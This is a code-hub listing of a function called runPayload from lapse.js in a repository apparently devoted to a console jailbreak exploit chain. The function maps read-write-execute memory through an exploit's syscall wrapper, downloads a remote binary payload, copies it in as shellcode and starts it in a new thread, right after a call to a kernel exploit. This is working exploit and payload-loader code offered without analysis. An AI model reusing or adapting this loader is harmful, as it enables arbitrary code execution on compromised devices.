MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / runPayload

Function runPayload

g2all/900/lapse.js:1801–1829  ·  view source on GitHub ↗
(PLfile)

Source from the content-addressed store, hash-verified

1799}
1800
1801function runPayload(PLfile) {
1802 var loader_addr = chain.sysp('mmap', 0, 0x1000, 7, 0x41000, -1, 0);
1803 var tmpStubArray = array_from_address(loader_addr, 1);
1804 tmpStubArray[0] = 0x00C3E7FF;
1805
1806 var req = new XMLHttpRequest();
1807 req.responseType = "arraybuffer";
1808 req.open('GET', PLfile);
1809 req.send();
1810
1811 req.onreadystatechange = function () {
1812 if (req.readyState == 4) {
1813 if (req.status === 200 && req.response) {
1814 var PLD = req.response;
1815 var payload_buffer = chain.sysp('mmap', 0, PLD.byteLength * 4, 7, 0x1002, -1, 0);
1816 var pl = array_from_address(payload_buffer, PLD.byteLength * 4);
1817 var padding = new Uint8Array(4 - (req.response.byteLength % 4) % 4);
1818 var tmp = new Uint8Array(req.response.byteLength + padding.byteLength);
1819 tmp.set(new Uint8Array(req.response), 0);
1820 tmp.set(padding, req.response.byteLength);
1821 var shellcode = new Uint32Array(tmp.buffer);
1822 pl.set(shellcode, 0);
1823 var pthread = malloc(0x10);
1824
1825 call_nze('pthread_create', pthread, 0, loader_addr, payload_buffer);
1826 }
1827 }
1828 };
1829}
1830
1831kexploit().then(() => {
1832 setTimeout(() => {

Callers 1

lapse.jsFile · 0.70

Calls 5

array_from_addressFunction · 0.70
mallocFunction · 0.70
call_nzeFunction · 0.70
syspMethod · 0.45
setMethod · 0.45

Tested by

no test coverage detected